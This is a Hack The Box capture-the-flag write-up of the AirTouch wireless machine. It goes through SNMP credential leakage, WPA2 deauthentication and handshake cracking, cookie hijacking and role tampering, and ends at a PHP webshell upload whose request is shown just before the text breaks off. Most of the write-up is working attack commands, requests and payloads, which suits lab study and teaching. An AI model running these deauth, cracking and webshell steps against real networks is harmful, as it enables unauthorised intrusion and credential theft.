Hackthebox: Airtouch

Foued SAIDI Lv5

Overview

AirTouch is a medium-difficulty machine from Hack The Box that simulates a multi-AP corporate WiFi environment. We start by leaking the consultant’s SSH password through an open SNMP service, land on a jump host equipped with multiple wireless interfaces, and capture a WPA2-PSK handshake from the AirTouch-Internet network. After cracking the PSK, we associate to the network, sniff decrypted HTTP traffic from the router admin panel, and hijack a session cookie. Tampering the UserRole cookie grants us admin access, where we abuse a file upload to drop a webshell and read credentials reused for SSH on the PSK access point. From there, we pivot to the WPA2-Enterprise AirTouch-Office network using EAPHammer to run an Evil Twin attack against 802.1X, capture a MSCHAPv2 challenge/response, crack it offline, and chain through two more access points to root.

Airtouch-info-card
Airtouch-info-card

Reconnaissance

We begin with a port scan against the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nmap  -A -Pn 10.129.10.86
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 23:05 EST
Nmap scan report for 10.129.10.86
Host is up (0.35s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 bd:90:00:15:cf:4b:da:cb:c9:24:05:2b:01:ac:dc:3b (RSA)
| 256 6e:e2:44:70:3c:6b:00:57:16:66:2f:37:58:be:f5:c0 (ECDSA)
|_ 256 ad:d5:d5:f0:0b:af:b2:11:67:5b:07:5c:8e:85:76:76 (ED25519)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 494.15 ms 10.10.16.1
2 225.16 ms 10.129.10.86

Only SSH on port 22 is exposed via TCP. With nothing else to chew on, we move to UDP enumeration and try SNMP with the default public community string.

SNMP Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ snmpwalk -v2c -c public 10.129.10.86
iso.3.6.1.2.1.1.1.0 = STRING: "\"The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)\""
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (3217286) 8:56:12.86
iso.3.6.1.2.1.1.4.0 = STRING: "[email protected]"
iso.3.6.1.2.1.1.5.0 = STRING: "Consultant"
iso.3.6.1.2.1.1.6.0 = STRING: "\"Consultant pc\""
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (3225513) 8:57:35.13
iso.3.6.1.2.1.25.1.1.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

The sysDescr OID leaks the credentials in plaintext: consultant : RxBlZhLmOkacNWScmZ6D. We use them to SSH in.

Foothold - consultant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sshpass -p 'RxBlZhLmOkacNWScmZ6D' ssh -o StrictHostKeyChecking=no [email protected]
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

consultant@AirTouch-Consultant:~$ ls
diagram-net.png photo_2023-03-01_22-04-52.png
consultant@AirTouch-Consultant:~$

The home directory contains two images. Let’s pull them down for inspection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
consultant@AirTouch-Consultant:~$ ll
total 888
drwxr-xr-x 1 consultant consultant 4096 Jan 20 04:07 ./
drwxr-xr-x 1 root root 4096 Jan 13 14:55 ../
lrwxrwxrwx 1 consultant consultant 9 Mar 27 2024 .bash_history -> /dev/null
-rw-r--r-- 1 consultant consultant 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 consultant consultant 3771 Feb 25 2020 .bashrc
drwx------ 2 consultant consultant 4096 Jan 20 04:07 .cache/
-rw-r--r-- 1 consultant consultant 807 Feb 25 2020 .profile
-rw-r--r-- 1 consultant consultant 131841 Mar 27 2024 diagram-net.png
-rw-r--r-- 1 consultant consultant 743523 Mar 27 2024 photo_2023-03-01_22-04-52.png
consultant@AirTouch-Consultant:~$ exit
logout
Connection to 10.129.10.86 closed.

┌──(kali㉿kali)-[~]
└─$ sshpass -p 'RxBlZhLmOkacNWScmZ6D' scp -o StrictHostKeyChecking=no [email protected]:/home/consultant/diagram-net.png .

$ sshpass -p 'RxBlZhLmOkacNWScmZ6D' scp -o StrictHostKeyChecking=no [email protected]:/home/consultant/photo_2023-03-01_22-04-52.png .

![[Pasted image 20260120080251.png]]

![[Pasted image 20260120080310.png]]

The diagram shows the network topology — a consultant box with multiple wireless adapters, an internal AirTouch-Internet PSK access point, an AirTouch-Office enterprise access point, and a photo hinting at the SSIDs we should attack. With wireless interfaces on the host, this is clearly going to be a wireless-pentest box.

Wireless Recon - AirTouch-Internet

We escalate to root (the consultant box has unrestricted sudo) so we can manipulate the wireless interfaces and run airodump-ng to discover nearby APs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@AirTouch-Consultant:~# airodump-ng wlan0

CH 5 ][ Elapsed: 12 s ][ 2026-01-20 05:17

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

F0:9F:C2:A3:F1:A7 -28 7 0 0 6 54 CCMP PSK AirTouch-Internet
9E:E8:7E:93:1C:6A -28 7 0 0 6 54 CCMP PSK WIFI-JOHN
92:04:E2:13:13:3E -28 9 0 0 9 54 WPA2 CCMP PSK MiFibra-24-D4VY
3E:96:55:99:A4:BF -28 20 0 0 3 54 CCMP PSK MOVISTAR_FG68
CA:83:67:D4:6E:C6 -28 130 0 0 1 54 TKIP PSK vodafoneFB6N

BSSID STATION PWR Rate Lost Frames Notes Probes

Quitting...

AirTouch-Internet is broadcasting on channel 6 with WPA2-PSK. We lock onto the BSSID and start capturing on channel 6 to wait for a 4-way handshake.

1
2
3
4
5
6
7
8
9
10
11
12
13
root@AirTouch-Consultant:~# airodump-ng --bssid F0:9F:C2:A3:F1:A7 -c 6 -w /tmp/airtouch-internet wlan0
05:19:58 Created capture file "/tmp/airtouch-internet-02.cap".

CH 6 ][ Elapsed: 24 s ][ 2026-01-20 05:20 ][ WPA handshake: F0:9F:C2:A3:F1:A7

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

F0:9F:C2:A3:F1:A7 -28 0 283 16 0 6 54 CCMP PSK AirTouch-Internet

BSSID STATION PWR Rate Lost Frames Notes Probes

F0:9F:C2:A3:F1:A7 28:6C:07:FE:A3:22 -29 1 - 1 0 20 EAPOL
Quitting...

To force a fresh handshake (instead of waiting forever), we kick the connected client with a deauth flood.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
consultant@AirTouch-Consultant:~$ sudo -i
root@AirTouch-Consultant:~# aireplay-ng --deauth 10 -a F0:9F:C2:A3:F1:A7 wlan0
05:20:09 Waiting for beacon frame (BSSID: F0:9F:C2:A3:F1:A7) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).

05:20:10 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
05:20:10 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
05:20:11 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
05:20:11 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
05:20:11 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
05:20:12 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
05:20:12 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
05:20:13 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
05:20:13 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
05:20:14 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
root@AirTouch-Consultant:~#
root@AirTouch-Consultant:~# ls /tmp
airtouch-internet-01.cap airtouch-internet-01.log.csv airtouch-internet-02.kismet.netxml
airtouch-internet-01.csv airtouch-internet-02.cap airtouch-internet-02.log.csv
airtouch-internet-01.kismet.csv airtouch-internet-02.csv
airtouch-internet-01.kismet.netxml airtouch-internet-02.kismet.csv
root@AirTouch-Consultant:~# exit
logout

Cracking the WPA2-PSK Handshake

We pull the capture down to Kali and feed it to aircrack-ng with rockyou.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ sshpass -p 'RxBlZhLmOkacNWScmZ6D' scp -o StrictHostKeyChecking=no [email protected]:/tmp/airtouch-internet-02.cap .


┌──(kali㉿kali)-[~]
└─$ aircrack-ng airtouch-internet-02.cap -w /usr/share/wordlists/rockyou.txt
Reading packets, please wait...
Opening airtouch-internet-02.cap
Read 2592 packets.

# BSSID ESSID Encryption

1 F0:9F:C2:A3:F1:A7 AirTouch-Internet WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening airtouch-internet-02.cap
Read 2592 packets.

1 potential targets


Aircrack-ng 1.7

[00:00:02] 21061/10303727 keys tested (8418.88 k/s)

Time left: 20 minutes, 21 seconds 0.20%

KEY FOUND! [ challenge ]


Master Key : D1 FF 70 2D CB 11 82 EE C9 E1 89 E1 69 35 55 A0
07 DC 1B 21 BE 35 8E 02 B8 75 74 49 7D CF 01 7E

Transient Key : 20 14 F5 D2 59 BD 4F 4C C6 1E 30 C1 B4 56 87 B4
EC 51 01 B6 03 3B 1D 97 B1 20 6B E4 40 23 8F 5B
7C C1 43 99 4A 48 50 F8 C1 19 5F 93 BC A9 58 78
72 4D 8D A5 DD 6D 44 E5 A4 B5 68 C0 E0 98 A8 C1

EAPOL HMAC : 99 7E 4F 30 7D 4E 32 77 B6 F4 74 46 08 32 D8 F1



┌──(kali㉿kali)-[~]
└─$



The PSK is challenge.

Joining AirTouch-Internet

Back on the consultant box, we author a wpa_supplicant configuration for the network and request a DHCP lease on wlan0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
root@AirTouch-Consultant:~# cat > /tmp/airtouch-internet.conf << 'EOF'
> network={
> ssid="AirTouch-Internet"
> psk="challenge"
> key_mgmt=WPA-PSK
> }
> EOF
root@AirTouch-Consultant:~# wpa_supplicant -i wlan0 -c /tmp/airtouch-internet.conf -B
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
root@AirTouch-Consultant:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if29: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 9a:57:01:a1:3c:da brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.20.1.2/24 brd 172.20.1.255 scope global eth0
valid_lft forever preferred_lft forever
7: wlan0: <BROADCAST,ALLMULTI,PROMISC,NOTRAILERS,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
inet6 fe80::ff:fe00:0/64 scope link
valid_lft forever preferred_lft forever
8: wlan1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
9: wlan2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
10: wlan3: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:03:00 brd ff:ff:ff:ff:ff:ff
11: wlan4: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:04:00 brd ff:ff:ff:ff:ff:ff
12: wlan5: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:05:00 brd ff:ff:ff:ff:ff:ff
13: wlan6: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:06:00 brd ff:ff:ff:ff:ff:ff
root@AirTouch-Consultant:~# curl 192.168.3.0
^C
root@AirTouch-Consultant:~# ^C
root@AirTouch-Consultant:~# curl 192.168.3.1
^C
root@AirTouch-Consultant:~# dhclient wlan0

root@AirTouch-Consultant:~#
root@AirTouch-Consultant:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if29: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 9a:57:01:a1:3c:da brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.20.1.2/24 brd 172.20.1.255 scope global eth0
valid_lft forever preferred_lft forever
7: wlan0: <BROADCAST,ALLMULTI,PROMISC,NOTRAILERS,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.3.61/24 brd 192.168.3.255 scope global dynamic wlan0
valid_lft 86398sec preferred_lft 86398sec
inet6 fe80::ff:fe00:0/64 scope link
valid_lft forever preferred_lft forever
8: wlan1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
9: wlan2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
10: wlan3: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:03:00 brd ff:ff:ff:ff:ff:ff
11: wlan4: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:04:00 brd ff:ff:ff:ff:ff:ff
12: wlan5: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:05:00 brd ff:ff:ff:ff:ff:ff
13: wlan6: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:06:00 brd ff:ff:ff:ff:ff:ff
root@AirTouch-Consultant:~#

We pulled 192.168.3.61/24 from DHCP. Let’s see who else is on this network.

1
2
3
4
5
6
7
8
9
10
11
root@AirTouch-Consultant:~# nmap -sn 192.168.3.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-20 05:27 UTC
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 21.96% done; ETC: 05:27 (0:00:04 remaining)
Nmap scan report for 192.168.3.1
Host is up (0.00018s latency).
MAC Address: F0:9F:C2:A3:F1:A7 (Ubiquiti Networks)
Nmap scan report for 192.168.3.61
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 26.04 seconds
root@AirTouch-Consultant:~# curl 192.168.3.1

The router itself sits at 192.168.3.1. A full scan against it reveals an Apache web app for router configuration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@AirTouch-Consultant:~# nmap -A -Pn 192.168.3.1
Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-20 05:28 UTC
Nmap scan report for 192.168.3.1
Host is up (0.00020s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.90
| dns-nsid:
|_ bind.version: dnsmasq-2.90
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: WiFi Router Configuration
|_Requested resource was login.php
MAC Address: F0:9F:C2:A3:F1:A7 (Ubiquiti Networks)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/20%OT=22%CT=1%CU=38638%PV=Y%DS=1%DC=D%G=Y%M=F09FC2%T
OS:M=696F129C%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.20 ms 192.168.3.1

The router exposes a WiFi Router Configuration web app on /login.php. Browsing to it gives us the login page.

![[Pasted image 20260120083110.png]]

We don’t have credentials yet — but we do have the ability to sniff the wireless segment. Since we know the PSK, every frame we capture can be decrypted by Wireshark. Let’s grab a fresh capture with active client traffic in it.

Sniffing Decrypted Traffic

We start a new capture on wlan1 (used in monitor mode) and trigger another deauth so the legitimate client reconnects and starts using the router.

1
2
3
4
5
6
7
8
9
10
11
12
root@AirTouch-Consultant:~# airodump-ng --bssid F0:9F:C2:A3:F1:A7 -c 6 -w /tmp/airtouch-internet-pls wlan1
06:48:32 Created capture file "/tmp/airtouch-internet-pls-02.cap".
CH 6 ][ Elapsed: 1 min ][ 2026-01-20 06:49 ][ WPA handshake: F0:9F:C2:A3:F1:A7

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

F0:9F:C2:A3:F1:A7 -28 100 799 55 0 6 54 CCMP PSK AirTouch-Internet

BSSID STATION PWR Rate Lost Frames Notes Probes

F0:9F:C2:A3:F1:A7 28:6C:07:FE:A3:22 -29 36 -54 0 67 EAPOL
Quitting...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
root@AirTouch-Consultant:~# sudo ip link set wlan1 down
root@AirTouch-Consultant:~# sudo iw dev wlan1 set type monitor
root@AirTouch-Consultant:~# sudo ip link set wlan1 up
root@AirTouch-Consultant:~# aireplay-ng --deauth 10 -a F0:9F:C2:A3:F1:A7 wlan1
06:48:38 Waiting for beacon frame (BSSID: F0:9F:C2:A3:F1:A7) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
06:48:38 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:38 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:39 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:39 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:40 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:40 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:41 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:41 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:42 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:42 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
root@AirTouch-Consultant:~# aireplay-ng --deauth 5 -a F0:9F:C2:A3:F1:A7 wlan1
06:48:56 Waiting for beacon frame (BSSID: F0:9F:C2:A3:F1:A7) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
06:48:56 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:57 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:57 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:58 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:48:58 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
root@AirTouch-Consultant:~# aireplay-ng --deauth 10 -a F0:9F:C2:A3:F1:A7 wlan1
06:49:09 Waiting for beacon frame (BSSID: F0:9F:C2:A3:F1:A7) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
06:49:09 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:49:10 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:49:10 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:49:11 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:49:11 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:49:12 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:49:12 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:49:12 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:49:13 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
06:49:13 Sending DeAuth (code 7) to broadcast -- BSSID: [F0:9F:C2:A3:F1:A7]
root@AirTouch-Consultant:~#

We pull the new .cap file to Kali, open it in Wireshark, and add the WPA decryption key:

Edit -> Preferences -> IEEE 802.11 -> edit decryption keys -> wpa-pwd:challenge:AirTouch-Internet

Once decoded, an HTTP GET request from the legitimate client to /lab.php reveals a session cookie and a leaked welcome message addressed to manager.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
GET /lab.php HTTP/1.1

Host: 192.168.3.1

User-Agent: curl/7.88.1

Accept: */*

Cookie: PHPSESSID=ctf72095cfdr7iu3ru2blg59jq; UserRole=user





HTTP/1.1 200 OK

Date: Tue, 20 Jan 2026 06:48:53 GMT

Server: Apache/2.4.41 (Ubuntu)

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 323

Content-Type: text/html; charset=UTF-8







<!DOCTYPE html>

<html>



<head>

<title>WiFi Router Configuration</title>

<link rel="stylesheet" href="style.css">

</head>



<body>



Welcome manager<br><br><br><br>

Congratulation! You have logged into password protected page. <a href="index.php">Click here</a> to go to index.php to get the flag.



</body>



</html>

We now have a valid session cookie (PHPSESSID=ctf72095cfdr7iu3ru2blg59jq) and a hint that authorization is decided by the client-controlled UserRole cookie. We replay the cookie in our browser:

![[Pasted image 20260120095627.png]]

We swap UserRole=user to UserRole=admin with Burp:

![[Pasted image 20260120100338.png]]

PHPSESSID=ctf72095cfdr7iu3ru2blg59jq; UserRole=admin lands us on the admin dashboard, which exposes a file upload feature. We bypass the extension filter by uploading <?php system($_GET["cmd"]);?> saved as .phtml and execute commands.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /uploads/shell4.phtml?cmd=id HTTP/1.1
Host: localhost
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=ctf72095cfdr7iu3ru2blg59jq; UserRole=admin
Connection: keep-alive


1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Date: Tue, 20 Jan 2026 07:23:34 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 54
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
